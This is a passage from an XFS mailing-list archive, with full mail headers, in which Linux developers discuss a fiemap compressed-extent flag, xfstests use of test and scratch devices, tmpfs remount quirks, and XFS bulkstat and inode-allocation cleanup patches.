linux-nilfs@vger.kernel.org, Mark Fasheh , xfs@oss.sgi.com, Christoph Hellwig , "linux-btrfs@vger.kernel.org Btrfs" , Alexander Viro , Ext4 Developers List , ocfs2-devel@oss.oracle.com Subject: Re: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag Message-ID: <20131213012251.GO10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag References: <4f8d5dc5b51a43efaf16c39398c23a6276e40a30.1386778303.git.dsterba@suse.cz> <20131212232443.GL31386@dastard> <9520AB36-B728-423A-8EA1-FDD22B79AE90@dilger.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9520AB36-B728-423A-8EA1-FDD22B79AE90@dilger.ca> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386897776 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143053 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 05:02:57PM -0700, Andreas Dilger wrote: > On Dec 12, 2013, at 4:24 PM, Dave Chinner wrote: > > On Thu, Dec 12, 2013 at 04:25:59PM +0100, David Sterba wrote: > >> This flag was not accepted when fiemap was proposed [2] due to lack of > >> in-kernel users. Btrfs has compression for a long time and we'd like to > >> see that an extent is compressed in the output of 'filefrag' utility > >> once it's taught about it. > >> > >> For that purpose, a reserved field from fiemap_extent is used to let the > >> filesystem store along the physcial extent length when the flag is set. > >> This keeps compatibility with applications that use FIEMAP. > > > > I'd prefer to just see the new physical length field always filled > > out, regardless of whether it is a compressed extent or not. In > > terms of backwards compatibility to userspace, it makes no > > difference because the value of reserved/unused fields is undefined > > by the API. Yes, the implementation zeros them, but there's nothing > > in the documentation that says "reserved fields must be zero". > > Hence I think we should just set it for every extent. > > I'd actually thought the same thing while reading the patch, but I figured > people would object because it implies that old kernels will return a > physical length of 0 bytes (which might be valid) and badly-written tools > will not work correctly on older kernels. Well, that's a problem regardless of whether new kernels return a physical length by default or not. I think I'd prefer a flag that says specifically whether the fe_phys_len field is valid or not. Old kernels will never set the flag, new kernels can always set the flag... > That said, applications _should_ > be checking the FIEMAP_EXTENT_DATA_COMPRESSED flag, and I suspect in the > future fewer developers will be confused if fe_phys_length == fe_length > going forward. I think an explicit flag is better than relying on a flag that defines the encoding to imply the physical length field is valid. > If the initial tools get it right (in particular filefrag), I'd think xfs_io is the first target - because we'll need xfstests coverage of this before there's a filefrag release that supports it... > then hopefully others will get it correct also. Agreed. > > From the point of view of the kernel API (fiemap_fill_next_extent), > > passing the physical extent size in the "len" parameter for normal > > extents, then passing 0 for the "physical length" makes absolutely > > no sense. > > > > IOWs, what you have created is a distinction between the extent's > > "logical length" and it's "physical length". For uncompressed > > extents, they are both equal and they should both be passed to > > fiemap_fill_next_extent as the same value. Extents where they are > > different (i.e. encoded extents) is when they can be different. > > Perhaps fiemap_fill_next_extent() should check and warn about > > mismatches when they differ and the relevant flags are not set... > > Seems reasonable to have a WARN_ONCE() in that case. That would catch bugs > in the filesystem, code as well: > > WARN_ONCE(phys_len != lgcl_len && > !(flags & FIEMAP_EXTENT_DATA_COMPRESSED), > "physical len %llu != logical length %llu without DATA_COMPRESSED\n", > phys_len, logical_len, phys_len, logical_len); Yup, pretty much what I was thinking. > >> --- a/include/uapi/linux/fiemap.h > >> +++ b/include/uapi/linux/fiemap.h > >> @@ -19,7 +19,9 @@ struct fiemap_extent { > >> __u64 fe_physical; /* physical offset in bytes for the start > >> * of the extent from the beginning of the disk */ > >> __u64 fe_length; /* length in bytes for this extent */ > >> - __u64 fe_reserved64[2]; > >> + __u64 fe_phys_length; /* physical length in bytes, undefined if > >> + * DATA_COMPRESSED not set */ > >> + __u64 fe_reserved64; > >> __u32 fe_flags; /* FIEMAP_EXTENT_* flags for this extent */ > >> __u32 fe_reserved[3]; > >> }; > > > > The comment for fe_length needs to change, too, because it needs to > > indicate that it is the logical extent length and that it may be > > different to the fe_phys_length depending on the flags that are set > > on the extent. > > Would it make sense to rename fe_length to fe_logi_length (or something, > I'm open to suggestions), and have a compat macro: > > #define fe_length fe_logi_length > > around for older applications? That way, new developers would start to > use the new name, old applications would still compile for both newer and > older interfaces, and it doesn't affect the ABI at all. Sounds like a good idea. > > And, FWIW, I wouldn't mention specific flags in the comment here, > > but do it at the definition of the flags that indicate there is > > a difference between physical and logical extent lengths.... > > Actually, I was thinking just the opposite for this field. It seems useful > that the requirement for DATA_COMPRESSED being set is beside fe_phys_length > so that anyone using this field sees the correlation clearly. I don't expect > everyone would read and understand the meaning of all the flags when looking > at the data structure. Well, it's moot if we decide a specific flag for the fe_phys_len field being valid is decided on ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 19:27:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 42FBE7F54 for ; Thu, 12 Dec 2013 19:27:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 30E48304048 for ; Thu, 12 Dec 2013 17:27:43 -0800 (PST) X-ASG-Debug-ID: 1386896980-04cb6c537e6ea800001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id wgD9XP4tjfZnbEed for ; Thu, 12 Dec 2013 17:09:43 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAP9cqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQQBOhwjEAgDDgoJJQ8FJQMhExuHYQfCexcWjjVJB4Q1BJgUikyHSYM9KIEt Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 11:39:37 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrHG2-0003B5-Q0; Fri, 13 Dec 2013 12:09:34 +1100 Date: Fri, 13 Dec 2013 12:09:34 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, Stanislav Kholmanskikh Subject: Re: [PATCH 00/12] run more generic tests on TEST_DIR Message-ID: <20131213010934.GN10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 00/12] run more generic tests on TEST_DIR References: <20131211073445.353655850@bombadil.infradead.org> <20131211225012.GL10988@dastard> <20131212180312.GC19422@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212180312.GC19422@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386896983 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143053 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Thu, Dec 12, 2013 at 10:03:12AM -0800, Christoph Hellwig wrote: > On Thu, Dec 12, 2013 at 09:50:12AM +1100, Dave Chinner wrote: > > I'm not sure this is such a good idea. The test_dir is a fixed > > filesystem designed to persiste between test harness runs to allow > > testing on an aged filesystem. > > Yes, and that's exactly what we want for the tests converted. Well, that assertion is exactly what I'm disagreeing with. It doesn't help me at all. > > run the tests on a differently configured scratch device. I use this > > all the time to change the filesystem config I'm testing against. By > > moving all these tests to the TEST_DEV, these tests are no longer > > run on the device that is configured specifically the way I want it > > configured for the given test run. > > > > So, I think this is a step backwards in terms of being able to > > quickly iterate and cover different filesystem configurations, and > > as such I don't really like it as a solution. What other options do > > we have? > > You can have different test devices, or simply not bother with aging > it for every run. You're missing the coverage of all the test dir > using tests, which are a lot with the above version anyway. IOWs, you're saying that you don't consider MKFS_OPTIONS as a first class citizen. I've been using it for 7 or 8 years for exactly this purpose - iterating testing of a change quickly across multiple configurations without perturbing the long term aging of the test device. IOWs, taking 12 tests away from the scratch device significantly reduces the coverage of my testing during development. It will force me to have to change a fairly important part of my workflow - a part that I haven't needed to change for several years. I'll now need more VM image storage for the extra test devices I need, I'll need multiple config files to handle the different test filesystems, I'll need to write new scripts to mkfs the test devices as well as setting the MKFS_OPTIONS for the scratch devices and switch config files, etc. I'm not opposed to making the change, just pointing out that reducing the usage of the scratch device has a fairly significant impact on test coverage for anyone who uses MKFS_OPTIONS in their workflow... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 19:42:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C9C907F4E for ; Thu, 12 Dec 2013 19:42:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BE9BA8F8052 for ; Thu, 12 Dec 2013 17:41:54 -0800 (PST) X-ASG-Debug-ID: 1386898893-04cbb041666f1830001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id X62WNmcXDTXpMQdt for ; Thu, 12 Dec 2013 17:41:36 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAFtlqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHhd0giUBAQQBOhwjBQsIAw4KCSUPBSUDIRMbh2EHwnMXFo5+B4Q1BJgUkhWDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 12:11:33 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrHkx-0003EG-GT; Fri, 13 Dec 2013 12:41:31 +1100 Date: Fri, 13 Dec 2013 12:41:31 +1100 From: Dave Chinner To: Junho Ryu Cc: Christoph Hellwig , Hugh Dickins , Theodore Ts'o , Boris Ranto , xfs@oss.sgi.com Subject: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Message-ID: <20131213014131.GP10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> <20131211074615.GE19248@infradead.org> <20131211224012.GJ10988@dastard> <20131212180130.GA19422@infradead.org> <20131212225657.GK10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386898895 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143053 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 04:00:44PM -0800, Junho Ryu wrote: > > I don't know what the solution here is - everything I think of is > > either messy, ugly or unmaintainable. All I'm trying to do is find a > > way to handle tmpfs filesystems in a way that is maintainable and > > doesn't require every developer to be aware of the quirks of tmpfs > > when writing and reviewing new generic tests.... > > If it is acceptable that tmpfs running tests which does not make much > sense without actually re-mounting devices, all other developers need > to care is using _scratch_remount() and _test_remount(). And how are they to know whether it makes sense ot run on tmpfs or not? That's the point I'm trying to make - tmpfs adds new restrictions on how tests are written or constructed, and we still need a method of saying no to tmpfs.... > Even if someone does not use the functions, tests will only fail on > tmpfs, and people like me who cares about it will be happy to fix it. Yes, that's the game of whack-a-mole I was talking about. > So far, generic/053 is the only test which does something else between > umount and mount. All the generic tests that use dm_flakey are likely to be busted. Anything assumes SCRATCH_DEV or TEST_DEV are block devices are busted. Do loop devices work properly when hosted on tmpfs filesystems? And so on... Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Thu Dec 12 20:21:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D938D7F4E for ; Thu, 12 Dec 2013 20:21:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C1A078F8049 for ; Thu, 12 Dec 2013 18:21:21 -0800 (PST) X-ASG-Debug-ID: 1386901257-04cb6c537e6ecd30001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 8koogACvLPQPepHB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 18:20:58 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBD2Kugw022904 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 02:20:56 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBD2Ks5E009410 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 02:20:56 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBD2Ks8T004917; Fri, 13 Dec 2013 02:20:54 GMT Received: from [192.168.1.105] (/114.248.199.38) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 12 Dec 2013 18:20:54 -0800 Message-ID: <52AA6F02.6050007@oracle.com> Date: Fri, 13 Dec 2013 10:20:50 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 5/8] xfs: use xfs_icluster_size_fsb in xfs_bulkstat References: <52A96800.5080706@oracle.com> <20131212221826.GH10988@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 5/8] xfs: use xfs_icluster_size_fsb in xfs_bulkstat In-Reply-To: <20131212221826.GH10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386901258 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143055 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/13 2013 06:18 AM, Dave Chinner wrote: > On Thu, Dec 12, 2013 at 03:38:40PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Use xfs_icluster_size_fsb() in xfs_bulkstat(), make the related >> variables more meaningful and remove an unused variable nimask >> from it. >> >> Signed-off-by: Jie Liu > > Looks fine. > > Reviewed-by: Dave Chinner > > At some point we need to factor this code a bit to get rid of the > levels of indenting it has..... > >> @@ -390,12 +386,12 @@ xfs_bulkstat( >> agbno = XFS_AGINO_TO_AGBNO(mp, r.ir_startino); >> for (chunkidx = 0; >> chunkidx < XFS_INODES_PER_CHUNK; >> - chunkidx += nicluster, >> - agbno += nbcluster) { >> - if (xfs_inobt_maskn(chunkidx, nicluster) >> - & ~r.ir_free) >> + chunkidx += inodes_per_cluster, >> + agbno += blks_per_cluster) { >> + if (xfs_inobt_maskn(chunkidx, >> + inodes_per_cluster) & ~r.ir_free) >> xfs_btree_reada_bufs(mp, agno, >> - agbno, nbcluster, >> + agbno, blks_per_cluster, >> &xfs_inode_buf_ops); >> } >> blk_finish_plug(&plug); > > e.g. this readahead loop could be factored into > > static void > xfs_ichunk_ra( > *mp, *rec, inodes_per_cluster, blks_per_cluster) > { > blk_start_plug(&plug); > agbno = XFS_AGINO_TO_AGBNO(mp, r.ir_startino); > for (chunkidx = 0; chunkidx < XFS_INODES_PER_CHUNK; > chunkidx += inodes_per_cluster, agbno += blks_per_cluster) { > if (xfs_inobt_maskn(chunkidx, inodes_per_cluster) & ~r.ir_free) > xfs_btree_reada_bufs(mp, agno, agbno, blks_per_cluster, > &xfs_inode_buf_ops); > } > blk_finish_plug(&plug); > } > > Doing this to all the separate parts of the bulkstat code would make > it an awful lot easier to read and modify in future.... Yup, I have a separate patch for doing that in my current quota check working branch. Originally, I also did it as the 1st patch in RFC parallel quota check: http://www.spinics.net/lists/xfs/msg23618.html But looks I should isolate it at xfs_itable.c if no other users for now. Thanks, -Jeff From jeff.liu@oracle.com Thu Dec 12 20:44:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CAA087F4E for ; Thu, 12 Dec 2013 20:44:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id AF9D48F8039 for ; Thu, 12 Dec 2013 18:44:30 -0800 (PST) X-ASG-Debug-ID: 1386902646-04cbb041666f39f0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id w4zgOI5FTI78Eklp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 18:44:06 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBD2i43C008253 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 02:44:05 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBD2i3Gf010029 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 02:44:04 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBD2i3ZH013371; Fri, 13 Dec 2013 02:44:03 GMT Received: from [192.168.1.105] (/114.248.199.38) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 12 Dec 2013 18:44:03 -0800 Message-ID: <52AA7470.4070103@oracle.com> Date: Fri, 13 Dec 2013 10:44:00 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 3/8] xfs: get rid of XFS_IALLOC_BLOCKS macros References: <52A967E9.7070508@oracle.com> <20131212220953.GF10988@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 3/8] xfs: get rid of XFS_IALLOC_BLOCKS macros In-Reply-To: <20131212220953.GF10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386902646 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143055 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/13 2013 06:09, Dave Chinner wrote: > On Thu, Dec 12, 2013 at 03:38:17PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Get rid of XFS_IALLOC_BLOCKS() marcos, use mp->m_ialloc_blks directly. >> >> Signed-off-by: Jie Liu > .... >> @@ -1228,9 +1228,9 @@ xfs_difree( >> goto error0; >> } >> >> - xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, >> - agno, XFS_INO_TO_AGBNO(mp,rec.ir_startino)), >> - XFS_IALLOC_BLOCKS(mp), flist, mp); >> + xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, agno, >> + XFS_INO_TO_AGBNO(mp, rec.ir_startino)), >> + mp->m_ialloc_blks, flist, mp); >> } else { >> *delete = 0; >> > > git-am fails to apply this hunk, but I'm not sure why. I updated it > manually, the resulting patch looks identical. Oh, I found the reason that because I failed to pull Ben's recent commits while producing this patch set, i.e, [ xfs: fix calculation of freed inode cluster blocks ] So below is a quick fix. Thanks, -Jeff From: Jie Liu Get rid of XFS_IALLOC_BLOCKS() marcos, use mp->m_ialloc_blks directly. Reviewed-by: Dave Chinner Signed-off-by: Jie Liu --- fs/xfs/xfs_ialloc.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 3ac5eb6..eacc59c 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -333,7 +333,7 @@ xfs_ialloc_ag_alloc( if (args.mp->m_maxicount && args.mp->m_sb.sb_icount + newlen > args.mp->m_maxicount) return XFS_ERROR(ENOSPC); - args.minlen = args.maxlen = XFS_IALLOC_BLOCKS(args.mp); + args.minlen = args.maxlen = args.mp->m_ialloc_blks; /* * First try to allocate inodes contiguous with the last-allocated * chunk of inodes. If the filesystem is striped, this will fill @@ -343,7 +343,7 @@ xfs_ialloc_ag_alloc( newino = be32_to_cpu(agi->agi_newino); agno = be32_to_cpu(agi->agi_seqno); args.agbno = XFS_AGINO_TO_AGBNO(args.mp, newino) + - XFS_IALLOC_BLOCKS(args.mp); + args.mp->m_ialloc_blks; if (likely(newino != NULLAGINO && (args.agbno < be32_to_cpu(agi->agi_length)))) { args.fsbno = XFS_AGB_TO_FSB(args.mp, agno, args.agbno); @@ -585,7 +585,7 @@ xfs_ialloc_ag_select( * Is there enough free space for the file plus a block of * inodes? (if we need to allocate some)? */ - ineed = XFS_IALLOC_BLOCKS(mp); + ineed = mp->m_ialloc_blks; longest = pag->pagf_longest; if (!longest) longest = pag->pagf_flcount > 0; @@ -1228,9 +1228,9 @@ xfs_difree( goto error0; } - xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, - agno, XFS_AGINO_TO_AGBNO(mp, rec.ir_startino)), - XFS_IALLOC_BLOCKS(mp), flist, mp); + xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, agno, + XFS_AGINO_TO_AGBNO(mp, rec.ir_startino)), + mp->m_ialloc_blks, flist, mp); } else { *delete = 0; -- 1.8.3.2 From jeff.liu@oracle.com Thu Dec 12 22:07:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 052287F4E for ; Thu, 12 Dec 2013 22:07:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E79A78F8052 for ; Thu, 12 Dec 2013 20:07:06 -0800 (PST) X-ASG-Debug-ID: 1386907617-04cb6c537d6f16b0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 9U72XBBQBiGqOZj6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 20:06:58 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBD46Ov6003388 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 04:06:25 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBD46NZv007252 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 04:06:24 GMT Received: from abhmp0020.oracle.com (abhmp0020.oracle.com [141.146.116.26]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBD46Nni001083; Fri, 13 Dec 2013 04:06:23 GMT Received: from [192.168.1.105] (/114.248.199.38) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 12 Dec 2013 20:06:23 -0800 Message-ID: <52AA87B6.6010607@oracle.com> Date: Fri, 13 Dec 2013 12:06:14 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" , Eric Whitney CC: linux-ext4@vger.kernel.org Subject: Re: [PATCH] xfstests: set umask to avoid spurious generic/314 test failures References: <20130921211735.GC7855@wallace> X-ASG-Orig-Subj: Re: [PATCH] xfstests: set umask to avoid spurious generic/314 test failures In-Reply-To: <20130921211735.GC7855@wallace> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386907617 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143056 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT 